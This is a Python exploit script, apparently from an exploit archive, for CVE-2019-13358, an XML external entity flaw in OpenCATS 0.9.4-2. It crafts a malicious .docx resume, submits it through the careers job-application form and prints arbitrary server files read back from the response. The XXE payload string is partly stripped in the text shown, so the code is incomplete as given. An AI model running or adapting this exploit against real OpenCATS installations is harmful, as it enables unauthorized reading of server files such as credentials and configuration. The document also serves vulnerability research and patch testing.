# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) # Date: 2021-09-20 # Exploit Author: Jake Ruston # Vendor Homepage: https://opencats.org # Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip # Version: < 0.9.4-3 # Tested on: Linux # CVE: 2019-13358 from argparse import ArgumentParser from docx import Document from zipfile import ZipFile from base64 import b64decode import requests import re xml = """ ]> START&file;END """ class CVE_2019_13358: def __init__(self): self.args = self.parse_arguments() def parse_arguments(self): parser = ArgumentParser() required = parser.add_argument_group("required arguments") required.add_argument("--url", help="the URL where OpenCATS is hosted", required=True) required.add_argument("--file", help="the remote file to read", required=True) args = parser.parse_args() if not args.url.startswith("http"): args.url = f"http://{args.url}" args.url = f"{args.url}/careers/index.php" return args def create_resume(self): document = Document() document.add_paragraph() document.save("resume.docx") def update_resume(self): with ZipFile("resume.docx", "r") as resume: resume.extractall() with open("word/document.xml", "w") as document: document.write(xml.format(self.args.file).strip()) with ZipFile("resume.docx", "w") as resume: resume.write("word/document.xml") def get(self): params = { "m": "careers", "p": "showAll" } try: request = requests.get(self.args.url, params=params) except: raise Exception("Failed to GET to the URL provided") id = re.search(r"ID=([0-9])*", request.text) if id is None: raise Exception("No vacancies were found") return id.group(1) def post(self, id): params = { "m": "careers", "p": "onApplyToJobOrder" } files = { "ID": (None, id), "candidateID": (None, -1), "applyToJobSubAction": (None, "resumeLoad"), "file": (None, ""), "resumeFile": open("resume.docx", "rb"), "resumeContents": (None, ""), "firstName": (None, ""), "lastName": (None, ""), "email": (None, ""), "emailconfirm": (None, ""), "phoneHome": (None, ""), "phoneCell": (None, ""), "phone": (None, ""), "bestTimeToCall": (None, ""), "address": (None, ""), "city": (None, ""), "state": (None, ""), "zip": (None, ""), "keySkills": (None, "") } try: request = requests.post(self.args.url, params=params, files=files) except Exception as e: raise Exception("Failed to POST to the URL provided", e) start = request.text.find("START") end = request.text.find("END") file = request.text[start + 5:end].strip() try: file = b64decode(file) file = file.decode("ascii").strip() except: raise Exception("File not found") print(file) def run(self): self.create_resume() self.update_resume() id = self.get() self.post(id) CVE_2019_13358().run()